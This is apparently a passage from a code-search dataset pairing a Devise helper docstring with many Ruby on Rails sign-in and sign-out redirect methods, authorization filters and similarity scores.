"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope\n when :user, User\n store_location = session[:return_to]\n clear_stored_location\n (store_location.nil?) ? \"/\" : store_location.to_s\n else\n super\n end\n end",
"def after_sign_in_path_for(resource)\n :root\n end",
"def after_sign_in_path_for(resource_or_scope)\n stored_location_for(resource) || online_root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n\t stored_location_for(resource_or_scope) || super\n\tend",
"def after_sign_in_path_for(resource)\n (session[:usuario_return_to].nil?) ? \"/\" : session[:usuario_return_to].to_s\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || account_url\n end",
"def after_sign_in_path_for(resource)\n\t session[:previous_url] || root_path\n end",
"def after_sign_in_path_for(_resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n case resource\n when User\n # put here for User first page direct path after signed in\n root_path\n super # 現在は暫定的に上位継承しています\n else\n super\n end\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || socify.root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n s = stored_location_for(resource_or_scope) # nb returns and deletes\n if s && s[0] == '/' && s != '/'\n s.slice!(0) # remove the leading slash\n if current_user.remembered_group?\n # is there a cleaner way than using root_url?\n root_url(protocol: 'http', subdomain: current_user.remembered_group.short_name) + s\n else\n root_url(protocol: 'http') + s\n end\n else\n if current_user.remembered_group?\n dashboard_url(protocol: 'http', subdomain: current_user.remembered_group.short_name)\n else\n dashboard_url(protocol: 'http')\n end\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_in_path_for(resource)\n session[:previous_url] || root_path\n end",
"def after_sign_in_path_for(resource)\n return stored_location_for(resource) || dashboard_path\n end",
"def after_sign_in_path_for(resource)\n\t root_path\n\tend",
"def after_sign_in_path_for(resource_or_scope)\n return session['user_return_to'] if session['user_return_to'].present?\n\n if defined? session[:return_to]\n if session[:return_to].ends_with? 'admin'\n if can? :access_units_index, :admin\n return admin_units_url\n elsif can? :access_courses_index, :admin\n return admin_unit_url(current_user.units.first)\n else\n unit_course_url(Unit.first, Course.first)\n end\n elsif params[:controller] == \"devise/passwords\"\n unit_url(Unit.first)\n else\n return session[:return_to]\n end\n else\n unit_course_url(Unit.first, Course.first)\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n if !session[:return_location].nil?\n return_location = session[:return_location]\n session[:return_location] = nil\n end\n return_location || stored_location_for(resource_or_scope) || signed_in_root_path(resource_or_scope)\n end",
"def after_sign_in_path_for(resource)\n stored = stored_location_for(resource) # this also delete the cookie\n if stored\n stored\n elsif Account.current && defined?(CmsPage) && (welcome_page = CmsPage.welcome_page)\n welcome_page.is_published? ? dm_cms.showpage_url(welcome_page.slug) : main_app.root_path\n elsif request.referer && request.referer != new_user_session_url && !request.referer.start_with?(edit_user_password_url)\n request.referer\n else\n main_app.root_path\n end\n end",
"def after_sign_in_path_for(resource)\n user_root_path(resource)\n end",
"def after_sign_in_path_for(resource)\n authenticated_root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) ||\n if resource.is_a?(User)\n account_path\n else\n super\n end\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n root_path\n end",
"def after_sign_in_path_for(resource)\n session[\"user_return_to\"] || dashboard_path\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || user_dashboard_path(resource.id)\n end",
"def after_sign_up_path_for(resource)\n session[:user_return_to] || root_path\n end",
"def after_sign_in_path_for(resource)\n root_path(resource)\n end",
"def after_sign_in_path_for(resource)\n # stored_location_for(resource) || posts_path\n [\"sessions\",\"registrations\",\"passwords\"].include?(controller_name)\n posts_path\n end",
"def after_sign_in_path_for(resource)\n if Rails.env.production?\n request.env['omniauth.origin'] || stored_location_for(resource) || KISALLI_URL\n else\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end\n end",
"def after_sign_in_path_for(resource)\n session[:forwarding_url] || root_path\n end",
"def after_devise_action_for(resource)\n stored_location_for(resource) || root_url\n end",
"def after_sign_in_path_for(resource)\n '/'\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || landing_path\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || dashboard_path\n end",
"def after_sign_in_path_for(_resource)\n current_user.email? ? root_url : edit_user_registration_url\n end",
"def default_redirect_url_after_sign_in\n admin_dashboard_url \n end",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin' if current_user.try(:admin?)\n store_url\n end",
"def after_sign_in_path_for(resource)\n\t\trequest.env['omniauth.origin'] || stored_location_for(resource) || root_path\n\tend",
"def after_sign_in_path_for(resource_or_scope)\n\t\tif resource_class == Customer\n\t\t\tstored_location_for(:customer) || main_app.root_path\n\t\telse\n\t\t\tstored_location_for(:user) || main_app.admin_root_path\n\t\tend\n\tend",
"def after_sign_in_path_for(resource)\n\n\t\tpopulate_system\t\n\t\n\t\t# session[:user_return_to] || session[:previous_url] || homes_path\n\t\t homes_path\n\t\n\tend",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope.class.name\n when 'Venue'\n venue_root_url(:protocol => 'http')\n when 'Admin'\n admin_root_url(:protocol => 'http')\n else\n super\n end\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) ||\n if resource.is_a?(Admin)\n admin_view_path\n else\n user_index_path\n end\nend",
"def after_sign_in_path_for(resource)\n # # sign_in_url = new_user_session_url\n if user_signed_in? && @user.role == 0\n root_path resource\n else\n user_path resource\n end\n end",
"def after_sign_in_path_for(resource)\n if resource.is_a?(Admin::Administrator)\n admin_url\n else\n root_url\n end\n end",
"def after_sign_in_path_for(resource)\n return request.env['omniauth.origin'] || stored_location_for(resource) || dashboards_path\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n end",
"def after_sign_in_path_for(resource)\n request.env['omniauth.origin'] || stored_location_for(resource) || home_path\n end",
"def after_sign_in_path_for(user)\n \"/\"\n end",
"def after_sign_out_path_for(_resource_or_scope)\n params[:return_url] || root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n '/user'\n end",
"def after_sign_in_path_for(resource)\n \tstored_location_for(resource) || dashboard_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n pop_stored_location ||\n sanitized_stored_location_for(resource_or_scope) ||\n signed_in_root_path(resource_or_scope)\n end",
"def after_sign_in_path_for(resource)\n case resource\n when User then\n #store session user for gmail style login\n session[:user_id] = current_user.id\n #remember to use url for changing subdomain\n #stored_location_for(resource) will store the last location b4 login\n request.env['omniauth.origin'] || stored_location_for(resource) || root_url(subdomain: resource.current_education.university.codename)\n when Admin then\n rails_admin_path\n end\n end",
"def after_sign_in_path_for(user)\n if session[:original_url]\n session[:original_url]\n else\n root_path\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n if (session[:my_previous_url].include?(new_user_session_path)|| \n session[:my_previous_url].include?(user_session_path) || \n session[:my_previous_url].include?(destroy_user_session_path) || \n session[:my_previous_url].include?(user_facebook_omniauth_authorize_path) || \n session[:my_previous_url].include?(user_facebook_omniauth_callback_path) || \n session[:my_previous_url].include?(user_google_oauth2_omniauth_authorize_path) || \n session[:my_previous_url].include?(user_google_oauth2_omniauth_callback_path) || \n session[:my_previous_url].include?(new_user_password_path) || \n session[:my_previous_url].include?(edit_user_password_path) || \n session[:my_previous_url].include?(user_password_path) || \n session[:my_previous_url].include?(cancel_user_registration_path) || \n session[:my_previous_url].include?(new_user_registration_path) || \n session[:my_previous_url].include?(edit_user_registration_path) || \n session[:my_previous_url].include?(user_registration_path) || \n session[:my_previous_url].include?(users_path) || \n session[:my_previous_url].include?(new_user_path) || \n session[:my_previous_url].include?(edit_user_path(current_user)) || \n session[:my_previous_url].include?(user_path(current_user)))\n \n session[:my_previous_url] = root_path\n end\n\n stored_location_for(resource_or_scope) || session[:my_previous_url]\n end",
"def after_sign_in_path_for(_resource)\n user_path(current_user.id) # ログイン後に遷移するpathを設定\n end",
"def after_sign_in_path_for(_resource)\n user_path(current_user.id)\n end",
"def after_sign_in_path_for(resource)\n if current_user.present?\n users_path\n else\n admin_root_path\n end\n end",
"def after_sign_up_path_for(user)\n return root_url\n end",
"def after_sign_in_path_for(resource)\n urls_path\n end",
"def after_sign_in_path_for(resource)\n session[:requested_url] || myriorunner_path\n end",
"def after_sign_in_path_for(resource)\n user_path(current_user)\n \tend",
"def after_successful_sign_in_url\n root_path\n end",
"def after_sign_in_path_for(resource)\n '/home'\n end",
"def after_sign_in_path_for(resource)\n clear_session_response_key\n request.env['omniauth.origin'] || stored_location_for(resource) || signed_in_root_path(resource)\n end",
"def after_sign_in_path_for(_resource)\n cookies[:login_type] = \"local\"\n return root_path unless parameter_set?\n dashboard_works_path\n end",
"def after_sign_up_path_for(resource_or_scope)\n session[:redirect_url] || super\n end",
"def after_sign_in_path_for(resource)\n if resource.email_verified?\n # super resource\n request.env['omniauth.origin'] || stored_location_for(resource) || root_path\n else\n finish_signup_path(resource)\n end\n end",
"def after_sign_in_path_for(resource)\n if @is_admin\n admin_path\n else\n root_path\n end\n end",
"def after_inactive_sign_in_path_for(resource)\n :root\n end",
"def default_redirect_url_after_sign_out\n QAuthRubyClient.configuration.default_redirect_url_after_sign_out\n end",
"def after_sign_in_path_for(resource)\n if resource.class == 'Group'\n # root_url(:subdomain => current_user.subdomain)\n root_url\n else\n root_url\n end\n end",
"def after_sign_in_path_for(resource)\n if resource.class == Agent\n stored_location_for(resource) || \"/display_prop\"\n elsif resource.class == Renter\n stored_location_for(resource) || \"/view_prop\"\n end\n end",
"def after_sign_in_path_for(user)\n user_url(user)\n end",
"def after_sign_in_path_for(resource_or_scope)\n home_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n \"/users/#{current_user.id}\"\n end"
] | [
"0.77106726",
"0.76660436",
"0.76341593",
"0.7618879",
"0.7580937",
"0.7578742",
"0.7565504",
"0.7563469",
"0.75564986",
"0.75541747",
"0.7548936",
"0.7548936",
"0.7548936",
"0.7537568",
"0.75077534",
"0.7495068",
"0.74298894",
"0.7429423",
"0.74189496",
"0.739888",
"0.73782575",
"0.7329931",
"0.7327878",
"0.7327595",
"0.7319727",
"0.7304444",
"0.7291838",
"0.7286933",
"0.728473",
"0.72800815",
"0.7273749",
"0.7267945",
"0.7251221",
"0.7247286",
"0.72405374",
"0.7236018",
"0.72325504",
"0.7229638",
"0.721537",
"0.7208693",
"0.7200729",
"0.7200405",
"0.7200405",
"0.7200405",
"0.7200405",
"0.7184401",
"0.7177437",
"0.71641177",
"0.7157506",
"0.7157278",
"0.7146994",
"0.7141238",
"0.71304184",
"0.7124949",
"0.7102841",
"0.7094451",
"0.709249",
"0.7073388",
"0.7069317",
"0.70568955",
"0.70525753",
"0.7045521",
"0.70434237",
"0.7028367",
"0.70228493",
"0.70142144",
"0.7012502",
"0.7000537",
"0.7000537",
"0.7000537",
"0.69990385",
"0.6996733",
"0.69966316",
"0.6992455",
"0.69872165",
"0.69546133",
"0.69520885",
"0.6949659",
"0.69440305",
"0.6942802",
"0.6913071",
"0.6902899",
"0.68882436",
"0.6883829",
"0.6883182",
"0.6881722",
"0.68804574",
"0.68704474",
"0.6869438",
"0.6867429",
"0.6859952",
"0.68571264",
"0.68509525",
"0.6848687",
"0.68485236",
"0.68419504",
"0.6841849",
"0.6830575",
"0.6821308",
"0.6814038"
] | 0.704038 | 63 |
Method used by sessions controller to sign out a user. You can overwrite it in your ApplicationController to provide a custom hook for a custom scope. Notice that differently from +after_sign_in_path_for+ this method receives a symbol with the scope, and not the resource. By default it is the root_path. source://devise//lib/devise/controllers/helpers.rb225 | def after_sign_out_path_for(resource_or_scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def after_sign_out_path_for(resource_or_scope)\n '/users/sign_in'\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"/app/users/sign_in\"\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/signed_out'\n end",
"def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n # caught by apache to trigger pubcookie logout\n '/logout'\n end",
"def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n sign_in_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \t\t\troot_path\n \t\t end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n # path before sign out request\n \"#{URI(request.referer).path}?logged_out=1\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\r\n '/'\r\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\r\n login_path\r\n end",
"def after_sign_out_path_for(resource_or_scope)\n # root_path\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tuser_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n\t\troot_path\n\tend",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n root_path\n # new_user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n # require 'pry'\n # binding.pry\n # Note: at this time: flash[:notice] => \"Signed out successfully.\"\n # current_user is nil.\n new_user_session_path # signIn page\n end",
"def after_sign_out_path_for(_resource_or_scope)\n params[:return_url] || root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :user\n new_user_session_path\n else\n root_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n home_path(:ref => \"logout\")\n end",
"def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n if logout_path.present?\n logout_path\n else\n super(resource_or_scope)\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n \troot_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tlogin_path\n \tend",
"def after_sign_out_path_for(resource_or_scope)\n if params[:return_to]\n params[:return_to]\n else\n unauthenticated_root_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n flash[:logout] = true\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path \n end",
"def after_sign_out_path_for(resource_or_scope)\n request.referrer || root_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n return session_path(resource_or_scope)\n end",
"def after_sign_out_path_for(commitable_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/members/sign_in'\n end",
"def after_sign_out_path_for(resource_or_scope)\n Faraday.get(logout_path) if logout_path.present?\n super(resource_or_scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tlogin_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n\n if ::Milia.signout_to_root\n root_path # return to index page\n else\n # or return to sign-in page\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n send(:\"new_#{scope}_session_path\")\n end\n\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_path\n end"
] | [
"0.8372493",
"0.8366942",
"0.8309909",
"0.8309909",
"0.8309909",
"0.8309909",
"0.8287882",
"0.8240874",
"0.82339793",
"0.81840694",
"0.8163991",
"0.8163991",
"0.81412935",
"0.8104909",
"0.81012356",
"0.8092506",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.80915797",
"0.8087729",
"0.8081053",
"0.8077572",
"0.8075554",
"0.8075554",
"0.80630976",
"0.8049931",
"0.80284566",
"0.8025403",
"0.80177385",
"0.8001035",
"0.8001035",
"0.8001035",
"0.80003047",
"0.799432",
"0.79922855",
"0.7989674",
"0.79872036",
"0.79866844",
"0.7977571",
"0.7977571",
"0.7976284",
"0.79728645",
"0.79728645",
"0.79728645",
"0.79728645",
"0.79679364",
"0.7958024",
"0.7957555",
"0.7957327",
"0.7953617",
"0.7947355",
"0.79433084",
"0.79355985",
"0.79355985",
"0.7935496",
"0.7933462",
"0.7927719",
"0.79274637",
"0.79221827",
"0.7908556",
"0.79010236",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675",
"0.79008675"
] | 0.8319657 | 2 |
Tell warden that params authentication is allowed for that specific page. source://devise//lib/devise/controllers/helpers.rb163 | def allow_params_authentication!; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def url_options_authenticate?(params = {})\n params = params.symbolize_keys\n if params[:controller]\n # find the controller class\n klass = eval(\"#{params[:controller]}_controller\".classify)\n else\n klass = self.class\n end\n klass.user_authorized_for?(current_visitor, params, binding)\n end",
"def url_options_authenticate?(params = {})\n params = params.symbolize_keys\n if params[:controller]\n # find the controller class\n klass = eval(\"#{params[:controller]}_controller\".classify)\n else\n klass = self.class\n end\n klass.user_authorized_for?(current_user, params, binding)\n end",
"def restricted?\n page.restricted?\n end",
"def valid_params_request?\n !!env[\"devise.allow_params_authentication\"]\n end",
"def allowed_auth_methods; end",
"def authenticate\n \treturn if controller_name == \"pages\"\n \tif !logged_in?\n \t\tflash[:alert] = \"Must be an admin or a nutritionist\"\n \t\tredirect_to root_path\n \tend\n end",
"def show\n authorize @page\n end",
"def mode_settings\n authorize!(@user)\n end",
"def valid_for_params_auth?; end",
"def skip_pundit?\n devise_controller? || params[:controller] =~ /(^(rails_)?admin)|(^pages$)/\n end",
"def devise_controller?; end",
"def check_authentication\n case self.controller_name\n when /^clients/i, /^ingredients/i, /^orders/i, /^pages/i, /^productpresentations/i, /^products/i, /^companies/i\n authenticate\n end\n end",
"def authenticate!\n warden.authenticate!\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def check_auth\n authorize @equipment_listing\n end",
"def authenticate\n logged_in? || access_denied\n end",
"def auth_controller?\n false\n end",
"def content_protected\r\n redirect to '/restricted'\r\n end",
"def restrict_access\n if session[:user_id]\n if !setting_params.nil?\n setting_params[:user_id] = session[:user_id]\n end\n else\n authenticate_or_request_with_http_token do |token, options|\n @user = User.where(:auth_token => token).first()\n if (@user)\n if !setting_params.nil?\n setting_params[:user_id] = @user.id\n end\n return true\n end\n false\n end\n end\n end",
"def permitted?\n appctrl_not_permitted() if ( @current_user.restricted? )\n end",
"def authorized\n redirect_to '/signin' unless current_driver\n end",
"def active_for_authentication?; end",
"def active_for_authentication?; end",
"def is_authenticated?\n end",
"def authenticate_spraycan\n authorize! :admin, Spraycan::ViewOverride\n end",
"def site_authenticate\n deny_access unless signed_in?\n end",
"def authenticate_supporter!\n case\n when !@current_user then head(:unauthorized)\n when !@current_user.supporter? then head(:forbidden)\n end\n end",
"def show\n authorize @page\n end",
"def authenticate_reporter\n unless current_user.acts_like_reporter?\n redirect_to merge_default_redirect_params(site_path, scpbr: params[:scpbr]), alert: 'You do not have permission to access that page.' and return\n end\n end",
"def authenticate_reporter\n unless current_user.acts_like_reporter?\n redirect_to merge_default_redirect_params(site_path, scpbr: params[:scpbr]), alert: 'You do not have permission to access that page.' and return\n end\n end",
"def authenticated_user?\n warden.authenticated?\n end",
"def admin_only_mode\n unless current_user.try(:admin?)\n unless params[:controller] == \"visitors\" || params[:controller] == \"registrations\" || params[:controller] == \"devise/sessions\"\n redirect_to :controller => \"visitors\", :action => \"restricted\", :alert => \"Admin only mode activated.\"\n flash[:notice] = \"Admin only mode activated. You need to be an admin to make changes.\"\n end\n\n if params[:controller] == \"visitors\" && params[:action] == \"index\"\n redirect_to :controller => \"visitors\", :action => \"restricted\", :alert => \"Admin only mode activated.\"\n flash[:notice] = \"Admin only mode activated. You need to be an admin to make changes.\"\n end\n end\n\n puts params\n puts params[:controller] == \"devise/sessions\"\n end",
"def authenticate\n logged_in? ? true : access_denied\nend",
"def warden\n request.env['warden']\n end",
"def allowed?\n true\n # AccessControl.allowed_controllers(current_user.profile.label, current_user.profile.modules).include?(params[:controller])\n end",
"def authorize!\n tags.each do |tag|\n whitelisted? page_in(tag)\n end\n end",
"def authenticate_reporter\n unless current_user.acts_like_reporter?\n redirect_to site_path, alert: 'You do not have permission to access that page.' and return\n end\n end",
"def params_authenticatable?; end",
"def verify_admin\n :authenticate_user!\n have_no_rights('restricted area') unless current_user.isAdmin?\nend",
"def show\n authorize @career\n end",
"def show\n # authorize Admin\n end",
"def authorize\n redirect_to '/' unless current_user || current_dealer\n end",
"def login_required\n (logged_in? || (controller_name == 'sessions')) ? true : access_denied\n end",
"def show\n authorize Section\n end",
"def authenticate_admin\n unless current_user.admin?\n redirect_to merge_default_redirect_params(site_path, scpbr: params[:scpbr]), alert: 'You do not have permission to access that page.' and return\n end\n end",
"def authenticate_admin\n unless current_user.admin?\n redirect_to merge_default_redirect_params(site_path, scpbr: params[:scpbr]), alert: 'You do not have permission to access that page.' and return\n end\n end",
"def require_authentication\n\n # No matter what the app does a user can always login, forgot\n # password and register. The controllers provided by this\n # plugin alreaddy have these controllers/actions on an\n # exception list but this prevents a mistake an overridden\n # controller from preventing the normal login behavior.\n %w(session password user).each do |c|\n \t %w(new create).each do |a|\n return if (controller_name == c) && (action_name == a)\n end\n \t end\n\n # If we cannot get the current user store the requested page\n # and send them to the login page.\n if current_user.nil? or current_user.anonymous?\n redirect_to login_url(:return_to => request.url) and false\n end\n end",
"def authenticate\n logged_in? || access_denied\n end",
"def authorize_show\n user = requested_user(:user_id)\n if request.format.ics?\n unauthorized(\"Invalid privacy token.\") unless params[:pt] == user.privacy_token\n else\n unauthorized unless user == current_user\n end\n true\n end",
"def auth_params\n if !current_user.is_admin?\n params[:person].delete(:is_pal) if params[:person]\n end\n end",
"def show\n authorize User\n end",
"def show\n authorize User\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def authenticate\n \tlogged_in? ? true : access_denied\n end",
"def protect?(action)\n true\n end",
"def protect?(action)\n true\n end",
"def protect?(action)\n true\n end",
"def protect?(action)\n true\n end",
"def devise_parameter_sanitizer; end",
"def authenticated?(*args)\n warden.authenticated?(*args)\n end",
"def protect\n unless logged_in?\n session[:protected_page] = request.request_uri\n flash[:notice] = \"Please log in first\"\n redirect_to :controller => \"user\", :action => \"login\"\n return false\n end\nend",
"def authenticate\n\tlogged_in? ? true : access_denied \n end",
"def protect\n unless logged_in?\n session[:protected_page] = request.request_uri\n flash[:notice] = \"Plaese log in first\"\n redirect_to :controller => \"user\", :action => \"login\"\n return false\n end\n end",
"def auth_options\n { scope: resource_name, recall: \"#{controller_path}#unauthorized\" }\n end",
"def authorize_agent\r\n unless session[:user_id] and\r\n User.find(session[:user_id]).level >= 1\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"agent_not_authorized_wo_login\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end",
"def restrict_access\n head :unauthorized and return false unless current_user\n end",
"def authenticate\n \t\tlogged_in? || access_denied\n \tend",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def allowedusers_only\n \n\t\tallowed_users=[VendorPortal::Application.config.operationadmin.to_s,VendorPortal::Application.config.operationuser.to_s,VendorPortal::Application.config.vendor.to_s]\n\t\n if !current_user.userrole.in?(allowed_users)\n redirect_to root_path, :alert => \"Access denied.\"\n end\n end",
"def show\n authorize @development\n end",
"def authenticate\n logged_in? ? true : access_denied\n end",
"def access_whitelist\n current_user.try(:admin?) || current_user.try(:editor?) || current_user.try(:door_super?)\n end",
"def authenticate_admin_user!\n redirect_to(root_url, :alert => I18n.t('unauthorized.default')) unless current_user.try(:access_admin_section?)\n end",
"def authenticate!\n\t\t\tunless signed_in? or params[:controller].include?\"devise\"\n\t\t\t\tflash[:notice] = \"You're not logged in!\"\n\t\t\t\tredirect_to :root\n\t\t\tend\n\t\tend",
